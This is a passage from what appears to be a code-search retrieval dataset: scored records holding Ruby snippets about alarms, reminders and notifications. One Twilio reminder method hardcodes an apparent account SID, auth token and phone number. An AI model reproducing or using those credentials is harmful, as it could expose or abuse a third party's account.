= @params['time']\n Alarm.time = time\n puts \"alarm set at #{time}\"\n Alert.show_popup(\"Alarm Time Set\")\n end", "title": "" }, { "docid": "a0f4a67b84b98aa01ca33c02b893e7b8", "score": "0.5300777", "text": "def set_price_alert_alarm\n @price_alert_alarm = PriceAlertAlarm.find(params[:id])\n end", "title": "" }, { "docid": "8623fecdf6ed6333e2ca95b91debc546", "score": "0.5280538", "text": "def set_alarm_time(hour, minute)\n today = Time.now\n tomorrow = Time.now + 60*60*24\n alarm_today = Time.local(today.year, today.month, today.day, hour, minute)\n alarm_tomorrow = Time.local(tomorrow.year, tomorrow.month, tomorrow.day, hour, minute)\n \n if(alarm_today < Time.now) then\n # already passed the requested time today, set it for tomorrow\n time = alarm_tomorrow\n @log.info \"Scheduling alarm for #{time.to_s} tomorrow\"\n else\n # the requested time today hasn't passed yet, so set it for today\n time = alarm_today\n @log.info \"Scheduling alarm for #{time.to_s} today\"\n end\n NestConfig[:alarm_clock][:actions].each do |name, cfg|\n # only add this action if it's supposed to be included on this day\n next if cfg[:only_on] && !cfg[:only_on].include?(time.strftime(\"%A\"))\n\taction_time = time + cfg[:offset] * 60\n @log.debug \"Adding alarm action '#{name}' at #{action_time}\"\n Scheduler.instance.schedule_oneshot \"alarmclock_#{name}\", action_time, lambda { Scenes::launch name.to_sym }, \"alarmclock\"\n end\n end", "title": "" }, { "docid": "1a078dfed3b9609503dcc6676efaf012", "score": "0.5263649", "text": "def overwriteEntry\n if $database.checkExistenceOf(\"events\", \"id\" , @id)\n $database.deleteRow(\"events\", \"id = '#{@id}'\")\n end\n end", "title": "" }, { "docid": "7492d81c71476b62d6ec38198400c711", "score": "0.5203651", "text": "def update\n @alarm = Alarm.find(params[:id])\n\n respond_to do |format|\n if @alarm.update_attributes(params[:alarm])\n format.html { redirect_to session[:return_to], notice: 'Alarm was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @alarm.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4a395776fe848fca18065707083b03cd", "score": "0.5199204", "text": "def add_reminder event,\n reminderTimeInMinutes\n\n event.alarms.each do |a|\n return if a.action == \"DISPLAY\"\n end\n\n # Create a new alarm\n alarm = event.alarm\n alarm.trigger = \"-PT#{reminderTimeInMinutes}M\"\n alarm.description = \"This is an event reminder\"\n end", "title": "" }, { "docid": "8119023a435b8509d8e9d97b0c5887b2", "score": "0.51827615", "text": "def set_alarm_type\n @alarm_type = AlarmType.find(params[:id])\n end", "title": "" }, { "docid": "55f2f0882b95b777e58f38450e2d9087", "score": "0.51770955", "text": "def archive_alarm(alarm_id = nil)\n endpoint = \"https://#{self.address}/proxy/network/api/s/default/cmd/evtmgr\"\n \n if alarm_id == nil\n data = {'cmd' => 'archive-all-alarms'}\n else\n data = {'cmd' => 'archive-alarm', '_id' => alarm_id}\n end\n \n call_api(endpoint, 'POST', data)\n \n end", "title": "" }, { "docid": "f0695f927ec99c50909c433d5240c91d", "score": "0.5168551", "text": "def earmuff(id)\n update(id, action: 'earmuff')\n end", "title": "" }, { "docid": "054c6d3c802bcb499781708183e4eac7", "score": "0.5157242", "text": "def changeAlarms(value)\n @mainLock.synchronize {\n triggered = false\n @dataLock.synchronize {\n if value != @alarms\n $LOG.info(\"Changing alarms to #{value.to_s}.\")\n\n old = @alarms\n @alarms = value.clone\n if @enabled\n triggered = triggerAlarm(old.co, @alarms.co, \"co\")\n triggered = (triggerAlarm(old.smoke, @alarms.smoke, \"smoke\") or triggered)\n triggered = (triggerAlarm(old.sound, @alarms.sound, \"sound\") or triggered)\n triggered = (triggerAlarm(old.battery, @alarms.battery, \"low_battery\") or triggered)\n end\n end\n }\n if triggered\n emitChanged\n end\n }\n end", "title": "" }, { "docid": "6db2ed3a4b1c2d782617dada1eb6024f", "score": "0.5138343", "text": "def update_alarm(alarm_id, device_id, opts)\n opts[:time] = format_time opts[:time], include_timezone: true\n post(\"/user/#{@user_id}/devices/tracker/#{device_id}/alarms/#{alarm_id}.json\", opts)\n end", "title": "" }, { "docid": "2911fcbe8ae85b08f254668bb1fec3cb", "score": "0.5094078", "text": "def resend(id, attrs = {})\n offer = Offer.find(id)\n if (offer.status.to_sym == :RETURNED)\n update_attrs = { status: :RESENT }\n if attrs[:metadata]\n update_attrs[:metadata] = attrs[:metadata]\n end\n offer = Offer.update(id, update_attrs)\n # Creating RESENT event and record\n OfferEvent.create(offer: offer,\n description: 'Offer resent',\n provider_id: offer[:provider_id],\n status: :RESENT)\n generate_offer_record(offer, :RESENT, attrs[:reason])\n return offer\n else\n raise TDJobs::InvalidStatus, \"Can't resend a non-returned offer\"\n end\n end", "title": "" }, { "docid": "ff14a8fbe6d21912fc24f9289d3533c0", "score": "0.50867283", "text": "def set_alarm_type\r\n @alarm_type = AlarmType.find(params[:id])\r\n end", "title": "" }, { "docid": "34be185fa390273d9cf9997ed7309b10", "score": "0.5061841", "text": "def amend(payload)\n raise UnprocessableEntity, \"Todo #{id.inspect} does not exist\" unless added?\n raise UnprocessableEntity, \"Todo #{id.inspect} is complete\" if completed\n raise UnprocessableEntity, \"Todo #{id.inspect} is abandoned\" if abandoned\n\n apply_event(TodoAmended,\n aggregate_id: id,\n body: payload,\n )\n end", "title": "" }, { "docid": "b3559ae2f62426263d394454bc59c6eb", "score": "0.5055666", "text": "def current_alert\n @current_alert ||= begin\n Chef::Log.debug \"Load #{new_resource} alarm information\"\n response = fog_cw.alarms.get(\"#{node.name} #{new_resource.name}\")\n return nil if response.nil?\n\n response\n end\n end", "title": "" }, { "docid": "44c75e8572a1446317ccea1fed644dd7", "score": "0.50311977", "text": "def alarm\n lights.extinguish\n sleep 0.25\n lights.yellow.on\n sleep 0.25\n lights.yellow.off\n sleep 0.25\n end", "title": "" }, { "docid": "568363bc079ad25fa5c630136d595dc1", "score": "0.49433768", "text": "def reminder\n @twilio_number = ENV['TWILIO_NUMBER']\n account_sid = ENV['TWILIO_ACCOUNT_SID']\n @client = Twilio::REST::Client.new account_sid, ENV['TWILIO_AUTH_TOKEN']\n time_str = ((self.time).localtime).strftime(\"%I:%M%p on %b. %d, %Y\")\n body = \"Hi #{self.name}. Just a reminder that you have an appointment coming up at #{time_str}.\"\n message = @client.messages.create(\n :from => @twilio_number,\n :to => self.phone_number,\n :body => body,\n )\n end", "title": "" }, { "docid": "7ecaa0f89b9173764c5d27286bf7a794", "score": "0.4937189", "text": "def edit\n @alarm = Alarm.find(params[:id])\n end", "title": "" }, { "docid": "be8bbe25c7a53cf9c62efa252052a298", "score": "0.49334627", "text": "def on_upd_alarm_open(sender,selector,data)\n sender.enabled = ! @alarm.nil?\n end", "title": "" }, { "docid": "b954e25fadc12f5695014bd4a4d3dec6", "score": "0.49200803", "text": "def reset_alarm_timer_for( ph_num )\n where = 'alarm reset helper'\n begin\n doc = DB['people'].find_one({'_id' => ph_num })\n doc['strikes'] = 0\n doc['timer'] = doc['alarm']\n DB['people'].save(doc)\n\n rescue Exception => e; log_exception( e, where ); end\n end", "title": "" }, { "docid": "1130306fcf4c237a61e2bd68277fa6c9", "score": "0.49110806", "text": "def with_arms_around affirmation\n @listener.notify self, AffirmationEvent.new(:arms_wrapped_around, affirmation)\n begin\n yield\n ensure\n @listener.notify self, AffirmationEvent.new(:arms_disentangled_from, affirmation)\n end\n end", "title": "" }, { "docid": "68bb342371e6d1fbfbd6f7e87768707c", "score": "0.48914823", "text": "def raise_time=(t)\n raise ArgumentError, \"raise_time must be a Time or an Integer\" unless t.is_a?(Time) or t.is_a?(Integer)\n t = t.to_i if t.is_a?(Time)\n\n @alert.raise_time = t\n end", "title": "" }, { "docid": "e66d6947541cf3a46a32f453ff6ac991", "score": "0.48911965", "text": "def reminder\n @twilio_number = ENV['TWILIO_NUMBER']\n account_sid = ENV['TWILIO_ACCOUNT_SID']\n @client = Twilio::REST::Client.new account_sid, ENV['TWILIO_AUTH_TOKEN']\n time_str = ((self.time).localtime).strftime(\"%I:%M%p on %b. %d, %Y\")\n body = \"Hi #{self.name}. Just a reminder that you have an appointment coming up at #{time_str}.\"\n message = @client.messages.create(\n :from => @twilio_number,\n :to => self.email,\n :body => body,\n )\n end", "title": "" }, { "docid": "2e4a7b2f680b1f58e1afdb79f8111bff", "score": "0.48892656", "text": "def set_alarm_code\n @alarm_code = AlarmCode.find(params[:id])\n end", "title": "" }, { "docid": "db7ae8202e4c1522f95f8e7c5f63aac3", "score": "0.48856515", "text": "def set_alarm_rule\n @alarm_rule = AlarmRule.find(params[:id])\n end", "title": "" }, { "docid": "b806c192234ad27f5f3a516c9bd3b1d4", "score": "0.48805392", "text": "def alarms=(alarms)\n @alarms = alarms.map do |alarm|\n if alarm.is_a?(Hash)\n Alarm.from_icloud(alarm)\n else\n alarm\n end\n end\n end", "title": "" }, { "docid": "b806c192234ad27f5f3a516c9bd3b1d4", "score": "0.48805392", "text": "def alarms=(alarms)\n @alarms = alarms.map do |alarm|\n if alarm.is_a?(Hash)\n Alarm.from_icloud(alarm)\n else\n alarm\n end\n end\n end", "title": "" }, { "docid": "d2e2931a62bfac0bde9fc0d30408648a", "score": "0.48742458", "text": "def set_alarm_state(options)\n request({\n 'Action' => 'SetAlarmState',\n :parser => Fog::Parsers::AWS::CloudWatch::SetAlarmState.new\n }.merge(options))\n end", "title": "" }, { "docid": "689f66767fff3757a2b66579f3f8aee7", "score": "0.4868598", "text": "def update\n @alarm = Alarm.find(params[:id])\n notifiers = Hash.new\n reqs = params[:req]\n User.find(params[:notify]).each{|user| notifiers[user.id] =user.email}\n @alarm.notify = notifiers\n @alarm.reqs = {\"host\" => reqs['host'], \"downtime\" => reqs['downtime']}\n @alarm.save\n AlertMailer.system_alert(User.first).deliver\n\n respond_to do |format|\n if @alarm.update_attributes(params[:alarm])\n format.html { redirect_to @alarm, notice: 'Alarm was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @alarm.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44ac65877b1bb5a2a40f9b68fcdbc414", "score": "0.48493072", "text": "def alarm_level=(val)\n if val.is_a?(Symbol)\n \"Alarm '#{val}' not found.\" unless Alarm::ALARM_LEVELS.value?(val)\n\tval = Alarm::ALARM_LEVELS.invert[val]\t\n end\n super(val)\n end", "title": "" }, { "docid": "541bcd3bde53231ef9bb30e73b09bd3e", "score": "0.4815934", "text": "def alarm_job\n self.class.alarm_job\n end", "title": "" }, { "docid": "fbd7c737e69d0da3ce76ebfda4ebc75b", "score": "0.4812016", "text": "def setalarm(h, m)\n\t\t@t = Time.new(2016, 10, 12, h, m, 0)\t# set new time\n\t\t@hour = @t.strftime(\"%I\")\t\t# save instance variable @hour with 12 hours \n\t\t@min = @t.strftime(\"%M\")\t\t# save instance variable @min with minute\n\tend", "title": "" }, { "docid": "3035bd5704b5c5cafeeefc0c863c1f63", "score": "0.4786277", "text": "def set_alarm(hour, minute)\n hour = 0 if hour.negative?\n hour = 23 if hour > 23\n minute = 0 if minute.negative?\n minute = 59 if minute > 59\n time = Time.new(0, nil, nil, hour, minute, nil, nil)\n @alarm_hour = time.hour\n @alarm_minutes = time.min\n end", "title": "" }, { "docid": "7d6a874640a6649c250499e4d68c0ad2", "score": "0.47824326", "text": "def raise!(t = Time.now)\n self.raise_time = t\n self.send\n end", "title": "" }, { "docid": "bc15a4432a9cf40320f1246c1e3b0428", "score": "0.47787684", "text": "def reminder\n @twilio_number = '+17206136526'\n @client = Twilio::REST::Client.new 'AC1138789c1d36063211f311d9d1f3480a', '86bfb412a7d74d879d86a89ecafd5896'\n time_str = ((self.time).localtime).strftime(\"%I:%M%p on %b. %d, %Y\")\n reminder = \"Hi #{self.name}. Purva has invited you to an event occuring on #{time_str}. To RSVP to this event, please reply '#{self.id},YES' to this message\" \n message = @client.account.messages.create(\n :from => @twilio_number,\n :to => self.phone_number,\n :body => reminder,\n )\n puts message.to\n end", "title": "" }, { "docid": "bf329504f4a0f271950730a950533d7a", "score": "0.47754452", "text": "def deliver_alarm\n deliver_report\n end", "title": "" }, { "docid": "d250fa0e2c82bafbdef511ee9b3bef08", "score": "0.47545266", "text": "def update_alarms(policy, policy_arn, remove, update)\n @cloudwatch.delete_alarms({\n alarm_names: remove\n })\n\n policy.alarms.each do |name, config|\n if update.include?(name)\n puts Colors.blue(\"\\tupdating cloudwatch alarm #{name}...\")\n @cloudwatch.put_metric_alarm({\n alarm_name: config.name,\n alarm_description: config.description,\n actions_enabled: config.actions_enabled,\n metric_name: config.metric,\n namespace: config.namespace,\n statistic: config.statistic,\n dimensions: config.dimensions.map { |k, v| { name: k, value: v } },\n period: config.period,\n unit: config.unit,\n evaluation_periods: config.evaluation_periods,\n threshold: config.threshold,\n comparison_operator: config.comparison,\n ok_actions: config.action_states.include?(\"ok\") ? [policy_arn] : nil,\n alarm_actions: config.action_states.include?(\"alarm\") ? [policy_arn] : nil,\n insufficient_data_actions: config.action_states.include?(\"insufficient-data\") ? [policy_arn] : nil\n }.reject { |k, v| v == nil })\n end\n end\n end", "title": "" }, { "docid": "123865a0a305301c77ede61dbd0e4d68", "score": "0.47038972", "text": "def clearAlarm\n Alarm.clear();\n Alert.show_popup(\"Alarm Cleared \")\n end", "title": "" }, { "docid": "05cd1cbcb5398f342766a4a3ebbd157b", "score": "0.46935743", "text": "def reschedule_appointment(appointmentid: ,\n ignoreschedulablepermission: true, newappointmentid: , nopatientcase: false, patientid: ,\n reasonid: nil, reschedulereason: nil)\n\n endpoint = \"appointments/#{appointmentid}/reschedule\"\n params = Hash[method(__callee__).parameters.select{|param| eval(param.last.to_s) }.collect{|param| [param.last, eval(param.last.to_s)]}]\n response = @connection.PUT(endpoint, params, common_headers)\n\n raise \"HTTP error for endpoint #{endpoint} code encountered: #{response.code}\" unless response.code.to_i == 200\n end", "title": "" }, { "docid": "7418082edc93f18af5324172ed04fa9a", "score": "0.4693421", "text": "def signal(id)\n @last_id = id\n @last_job = Time.now\n start unless @status == :running\n end", "title": "" }, { "docid": "75826e3b308bc4d3c4444150befd9156", "score": "0.46903145", "text": "def raising(arg, message=nil)\n @raising = RaiseAsserter.new arg, message\n end", "title": "" }, { "docid": "89d209f72838d0962f2abb8d13b40a52", "score": "0.4682895", "text": "def notify(alert, at=Time.now)\n #\n # If there are no notifications defined.\n #\n if notifications.nil?\n logger.warn(\"No notifications found for #{self.inspect}\")\n return false\n end\n\n during_runners = []\n\n #\n # Bail out if notifications for this alert have been suppressed.\n #\n if alert.suppressed?\n logger.info(\"Notifications suppressed until #{alert.suppress_until} for #{alert}\")\n\n this_reminder = AlertChanged.first_or_new(\n :alert_id => alert.id,\n :person => self.name,\n :remind_at.not => nil,\n :was_relevant => false\n )\n\n this_reminder.level = level.to_s\n this_reminder.at = at\n\n #\n # Set a reminder if\n # * there was no existing reminder\n # * the alert now is raised, but the reminder was set when the alert was cleared, or the alert was ack'd.\n # * the alert now is cleared, but the reminder was set when the alert was raised/re-raised/ack'd\n #\n if this_reminder.update_type.nil? or\n (alert.raised? and %w(cleared acknowledged).include?(this_reminder.update_type.to_s.downcase)) or\n (alert.cleared? and %w(re-raised raised acknowledged).include?(this_reminder.update_type.to_s.downcase))\n\n this_reminder.update_type = alert.update_type\n this_reminder.remind_at = alert.suppress_until\n else\n this_reminder.remind_at = nil\n end\n\n return this_reminder.save\n end\n\n\n #\n # This is where we set the reminder -- i.e. on a per-alert-group basis.\n #\n remind_at = nil\n\n these_notifications = self.resolve_notifications(at)\n\n these_notifications.each do |notification|\n #\n # Make sure the level is set.\n #\n notification.level = self.level\n\n #\n # Create a new during_runner for this notification clause, and keep it\n # handy.\n #\n during_runner = DuringRunner.new(at, alert, &notification.during)\n during_runners << during_runner\n\n #\n # Work out the next reminder time\n #\n this_remind_at = notification.remind_at_next(alert, during_runner)\n\n #\n # Skip this one if no reminder time can be found\n #\n next if this_remind_at.nil?\n\n #\n # Set the next reminder time if we've not had one already.\n #\n remind_at = this_remind_at if remind_at.nil?\n\n #\n # We need the next soonest reminder time.\n #\n remind_at = this_remind_at if remind_at > this_remind_at\n end\n\n #\n # OK got the next reminder time.\n #\n unless remind_at.nil?\n #\n # Find the last reminder, if available for the same alert, update type, and person.\n #\n this_reminder = AlertChanged.first_or_new(\n :alert_id => alert.id,\n :person => self.name,\n :update_type => alert.update_type,\n :remind_at.not => nil,\n :remind_at.gt => at\n )\n\n this_reminder.level = level.to_s\n this_reminder.at = at\n this_reminder.remind_at = remind_at\n this_reminder.was_relevant = true\n this_reminder.save\n end\n\n #\n # The notifications are specified in the config file.\n #\n sent_to = []\n these_notifications.each do |notification|\n sent_to << notification.notify(alert, sent_to, during_runners.shift)\n end\n\n #\n # If the alert is ack'd or cleared, notify anyone who has contributed to\n # its history since it was raised.\n #\n alert.extra_people_to_notify.each do |person|\n person.notifications.each do |n|\n notification = Mauve::Notification.new(person)\n notification.level = self.level\n notification.every = n.every\n notification.during = n.during\n notification\n sent_to << notification.notify(alert, sent_to, DuringRunner.new(at, alert, &notification.during))\n end\n end if alert.acknowledged? or alert.cleared?\n\n return (sent_to.length > 0)\n end", "title": "" }, { "docid": "71c27a2f8c19f9c5810169ee185e2ea5", "score": "0.46758682", "text": "def status_change_action\n if status == 'rescheduled'\n Appointment.create(client_id: self.client_id, user_id: self.user_id, date: date,\n place: self.place, time: self.time, notes: self.notes, status: 'upcoming')\n Interaction.create(\n kind: 'Appointment', date: self.date, time: self.time, mood: 0, interest: 0, user_id: self.user_id,\n client_id: self.client_id, notes: \"Appoitment reshedule - #{self.notes}\", completed: false, position: 0)\n # should cancel the last message\n elsif status == 'successful'\n Interaction.create(kind: 'Appointment', date: self.date, time: self.time, mood: 0, interest: 0, user_id: self.user_id,\n client_id: self.client_id, notes: self.notes, completed: false, position: 0)\n elsif status == 'cancelled'\n Interaction.create(kind: 'Appointment', date: self.date, time: self.time, mood: 0, interest: 0, user_id: self.user_id,\n client_id: self.client_id, notes: self.notes, completed: false, position: 0)\n end\n end", "title": "" }, { "docid": "c104a5de254d53aaeb07185cf9c20b7f", "score": "0.46692508", "text": "def alarms_update_callback\n reschedule_alarm_jobs if alarms_changed?\n end", "title": "" }, { "docid": "5721af108d1d728bea261210e3e4e12e", "score": "0.4662281", "text": "def create\n @alarm = Alarm.new(alarm_params)\n\n respond_to do |format|\n if @alarm.save\n format.html { redirect_to root_path, notice: 'SUCCESSFULLY ALERTED!!!' }\n else\n format.html { redirect_to root_path, :flash => { :error => @alarm.errors.full_messages.join(', ') } }\n end\n end\n end", "title": "" }, { "docid": "5be6555f2aa073bdd245c57bb771707e", "score": "0.46601585", "text": "def alert_on_appointment_creation\n end", "title": "" }, { "docid": "069b0b4057af54d1d35961bdb3fa5be7", "score": "0.46528655", "text": "def handle_alarm_acknowledge message\n component_id = message.attributes[\"cId\"]\n component = @site.find_component component_id\n alarm_code = message.attribute(\"aCId\")\n log \"Received #{message.type} #{alarm_code} acknowledgement\", message: message, level: :log\n acknowledge message\n component.acknowledge_alarm alarm_code\n end", "title": "" }, { "docid": "c5b5e33c53201975c5d5c8bca4fd3175", "score": "0.4644391", "text": "def update\n @twitter_alarm = TwitterAlarm.find(params[:id])\n if @twitter_alarm.nil? || !check_owner(@twitter_alarm.device)\n flash[:warning] = \"Unable to edit this alarm. Are you the owner?\"\n redirect_to root_path\n return\n end\n\n # check whether the start_time is in the future\n if (@twitter_alarm.start_time.to_date > Time.zone.now.to_date)\n params[:twitter_alarm][\"start_time(1i)\"] = Time.zone.now.year.to_s\n params[:twitter_alarm][\"start_time(2i)\"] = Time.zone.now.month.to_s\n params[:twitter_alarm][\"start_time(3i)\"] = Time.zone.now.day.to_s\n end\n respond_to do |format|\n if @twitter_alarm.update_attributes(params[:twitter_alarm])\n flash[:notice] = 'TwitterAlarm was successfully updated.'\n # Uncomment the next line if we want to start sending emails\n # MailInterface.deliver_email(@twitter_alarm.device.email, \"Alarm Update\", \"Twitter Trigger %i tpm\" % @twitter_alarm.volume)\n format.html { redirect_to(root_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @twitter_alarm.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a99a940cad6c4f6242ec86af18db45af", "score": "0.46436572", "text": "def handle_alarm_suspend message\n component_id = message.attributes[\"cId\"]\n component = @site.find_component component_id\n alarm_code = message.attribute(\"aCId\")\n log \"Received #{message.type} #{alarm_code} suspend\", message: message, level: :log\n acknowledge message\n component.suspend_alarm alarm_code\n end", "title": "" }, { "docid": "650e03c22b1b0657d2f9a4aed439201e", "score": "0.4637109", "text": "def update\n @surf_alarm = SurfAlarm.find(params[:id])\n if @surf_alarm.nil? || !check_owner(@surf_alarm.device)\n flash[:warning] = \"Unable to edit this alarm. Are you the owner?\"\n redirect_to root_path\n return\n end\n \n # check whether the start_time is in the future\n if (@surf_alarm.start_time.to_date > Time.zone.now.to_date)\n params[:surf_alarm][\"start_time(1i)\"] = Time.zone.now.year.to_s\n params[:surf_alarm][\"start_time(2i)\"] = Time.zone.now.month.to_s\n params[:surf_alarm][\"start_time(3i)\"] = Time.zone.now.day.to_s\n end\n respond_to do |format|\n if @surf_alarm.update_attributes(params[:surf_alarm])\n flash[:notice] = 'SurfAlarm was successfully updated.'\n # Uncomment the next line if we want to start sending emails\n # MailInterface.deliver_email(@surf_alarm.device.email, \"Alarm Update\", \"Surf Trigger %i ft\" % @surf_alarm.wave_height)\n format.html { redirect_to(root_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @surf_alarm.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "07a5b5c1a23e336d37a1f12b2a369c59", "score": "0.46311113", "text": "def alarm_arn\n data[:alarm_arn]\n end", "title": "" }, { "docid": "95bb13a544fc01e5ea8ce35d8e7eed34", "score": "0.46264392", "text": "def update_trigger(id, options={})\n self.class.put(\"/triggers/#{id}.json?apikey=#{apikey}\", :query => {:trigger => options}, :body => {})\n end", "title": "" }, { "docid": "1cd58dc255e93c3bfc2f9f45dc5b731a", "score": "0.46188545", "text": "def alert_id=(alert_id)\n if alert_id.nil?\n fail ArgumentError, 'invalid value for \"alert_id\", alert_id cannot be nil.'\n end\n @alert_id = alert_id\n end", "title": "" }, { "docid": "1cd58dc255e93c3bfc2f9f45dc5b731a", "score": "0.46188545", "text": "def alert_id=(alert_id)\n if alert_id.nil?\n fail ArgumentError, 'invalid value for \"alert_id\", alert_id cannot be nil.'\n end\n @alert_id = alert_id\n end", "title": "" }, { "docid": "19aced3fc0bd6b793c9a2ad4825ae695", "score": "0.4613382", "text": "def set_alarm\r\n\tprint \"Set an alarm : \"\r\n\talarm = Time.parse(gets.chomp)\r\nend", "title": "" }, { "docid": "607b26fd0ea0ecca3b3599398717f625", "score": "0.4604379", "text": "def alarm\n @last_history = HistoryThermostat.last\n @alarm = @last_history.thermostat.location.alarm\n if @alarm != nil\n if @last_history.temperature > @alarm.temp_max || @last_history.temperature < @alarm.temp_min\n flash[:danger] = \"alarm wrong temperature\"\n end\n end\n\n end", "title": "" }, { "docid": "35ed28713cf32f858d9393eebb5f598a", "score": "0.4603773", "text": "def add_reminder; end", "title": "" }, { "docid": "55e26ea08016548e9f360cfc93249c1b", "score": "0.46006334", "text": "def alarm_actions_to_add\n local_actions(\"alarm\") - @aws.alarm_actions\n end", "title": "" }, { "docid": "05c00ed873755a5d8a517a68abc3f9ec", "score": "0.45992342", "text": "def update_notification(id, model) path = \"/api/v2/notifications/#{id}\"\n put(path, model, {}, AvaTax::VERSION) end", "title": "" }, { "docid": "796a67f8cb1015b292508fe18a4c981a", "score": "0.4598687", "text": "def alarm_arn\n data.alarm_arn\n end", "title": "" }, { "docid": "31f67455d2937402a6093db4012a3a1d", "score": "0.4591601", "text": "def reminder\n end", "title": "" }, { "docid": "62230bbfb1e22bae45f29408ae677d03", "score": "0.4588066", "text": "def signal_or_raise!(name, *args)\n saved = aasm_fire_event(name, {:persist => true}, *args)\n raise RuntimeError, \"event transition failed!\" unless saved\n nil\n end", "title": "" }, { "docid": "5b101ceb2f9174f8ebe4a11f39ac9896", "score": "0.45848304", "text": "def test_reminder_is_set_at_start_of_during\n config=<<EOF\nserver {\n use_notification_buffer false\n}\n\nnotification_method(\"email\") {\n debug!\n deliver_to_queue []\n disable_normal_delivery!\n}\n\nperson (\"test1\") {\n email \"test1@example.com\"\n all { email }\n}\n\nperson (\"test2\") {\n email \"test2@example.com\"\n all { email }\n}\n\nalert_group(\"default\") {\n level URGENT\n notify(\"test1\") {\n every 10.minutes\n } \n\n notify(\"test2\") {\n every 10.minutes\n during { hours_in_day 8..10 }\n }\n\n}\nEOF\n\n #\n # Wind forward until 7.55am\n #\n Timecop.freeze(Time.now + 7.hours + 55.minutes)\n\n Configuration.current = ConfigurationBuilder.parse(config)\n Server.instance.setup\n alert = Alert.new(\n :alert_id => \"test\",\n :source => \"test\",\n :subject => \"test\"\n )\n alert.raise!\n\n\n assert_equal(1, Alert.count, \"Wrong number of alerts saved\")\n assert_equal(1, AlertChanged.count, \"Wrong number of reminders inserted\")\n\n a = AlertChanged.first\n assert_equal(\"urgent\", a.level, \"Level is wrong for #{a.person}\")\n assert_equal(\"raised\", a.update_type, \"Update type is wrong for #{a.person}\")\n assert_equal(Time.now + 5.minutes, a.remind_at,\"reminder time is wrong for #{a.person}\")\n end", "title": "" }, { "docid": "e1614a36b67265335224408e044038b9", "score": "0.458337", "text": "def next_alarm(alarm)\r\n\tputs \"Next alarm is set to : #{alarm}\"\r\nend", "title": "" }, { "docid": "2507f6fa42df541c10908303789e8026", "score": "0.4582519", "text": "def update(als, id)\n path = existing_path(als, id)\n create!(path) {|io| yield(io) }\n end", "title": "" }, { "docid": "613ccb2fe2e467d96500e9e38b47de42", "score": "0.45816836", "text": "def switch\n @alarm = Alarm.find(params[:id])\n if @alarm.active\n @alarm.active = false\n else\n @alarm.active = true\n end\n @alarm.save\n redirect_to user_alarms_path\n end", "title": "" }, { "docid": "91857fc87cf374d532b31d94ae948a26", "score": "0.4575078", "text": "def update\n respond_to do |format|\n if @alarm.update(alarm_params)\n format.html { redirect_to :action => \"index\", notice: 'Alarm was successfully updated.' }\n format.json { render :show, status: :ok, location: @alarm }\n else\n format.html { render :edit }\n format.json { render json: @alarm.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e76736992ce2558b7f5ab3ff7bcb9d6", "score": "0.45598376", "text": "def stub_alarm(val)\n sensor = double('sensor', pop_next_pressure_psi_value: val)\n allow(Sensor).to receive(:new).and_return(sensor)\n end", "title": "" }, { "docid": "a808704eb9a55c8e8e8317757eaad780", "score": "0.45573017", "text": "def perform(question_id)\n question = Question.find question_id\n\n # send email reminder to owner of question\n if false\n # To run a recurring job, you call the job again inside\n # its perform like this. Kind of a recursive job.\n QuestionReminderJob.set(wait: 5.days).perform_later(question_id)\n end\n end", "title": "" }, { "docid": "4c01b6950627f4d615f03aef13ba002e", "score": "0.45441392", "text": "def create_next_alert\n \t@item = BorrowedItem.find_by_item_id(self.arguments[2])\n \tif(self.arguments[3] == \"Borrower\" && @item && @item.returned_on == nil)\n \t\tSendEmailJob.set(wait: 1.days).perform_later(self.arguments[0], self.arguments[1], self.arguments[2], self.arguments[3])\n \tend\n end", "title": "" }, { "docid": "c35a6ec0c0c609eaa8809976350b5e51", "score": "0.4540841", "text": "def create\n @alarm = Alarm.new(params[:alarm])\n\n respond_to do |format|\n if @alarm.save\n format.html { redirect_to session[:return_to], notice: 'Alarm was successfully created.' }\n format.json { render json: @alarm, status: :created, location: @alarm }\n else\n format.html { render action: \"new\" }\n format.json { render json: @alarm.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d8f6c9cf89e50a3a551dceb1506726f9", "score": "0.45307025", "text": "def send_reminder\n return unless attending.nil?\n\n self.attending = activity.no_response_action\n notes = self.notes || \"\"\n notes << '[auto]'\n self.notes = notes\n save\n\n return unless person.send_attendance_reminder\n\n ParticipantMailer.attendance_reminder(person, activity).deliver_later\n end", "title": "" }, { "docid": "31c37249e8aa144346984b00114990f5", "score": "0.45283374", "text": "def remind(task_id=nil)\n id = task_id.nil? ? params[:id] : task_id\n \n @task = Task.find(id)\n @task.reminders = @task.reminders + 1\n @task.last_reminder_at = Time.now\n @task.save\n send_notification({:type => 'ReminderNotification', :task => @task})\n end", "title": "" }, { "docid": "9deea3792832f51887b302d84db56ea7", "score": "0.45233998", "text": "def add_trigger(id, matcher)\n\t triggers[id] = [matcher, (triggered = ValueSet.new)]\n\t Roby::Distributed.info \"#{remote_name} wants notification on #{matcher} (#{id})\"\n\n\t peer.queueing do\n\t\tmatcher.each(plan) do |task|\n\t\t if !triggered.include?(task)\n\t\t\ttriggered << task\n\t\t\tpeer.transmit(:triggered, id, task)\n\t\t end\n\t\tend\n\t end\n\t nil\n\tend", "title": "" }, { "docid": "705e8db887ec8679aa07d52c0e03d583", "score": "0.451157", "text": "def alert!\n self.priority = :alert\n end", "title": "" }, { "docid": "587e7680cfd6be58cb22af50219f5978", "score": "0.45113176", "text": "def handle_alarm_resume message\n component_id = message.attributes[\"cId\"]\n component = @site.find_component component_id\n alarm_code = message.attribute(\"aCId\")\n log \"Received #{message.type} #{alarm_code} resume\", message: message, level: :log\n acknowledge message\n component.resume_alarm alarm_code\n end", "title": "" }, { "docid": "7caf11a91d09b64366514fe17fec8b37", "score": "0.4510587", "text": "def schedule_ama(handle, time_string)\n ama_id = \"#{AMA_EVENT_ID}-#{handle}\"\n event = Event.find(ama_id)\n if event.blank?\n event = Event.new\n event.id = ama_id\n event.author_id = handle\n event.save\n end\n event.start_dttm = 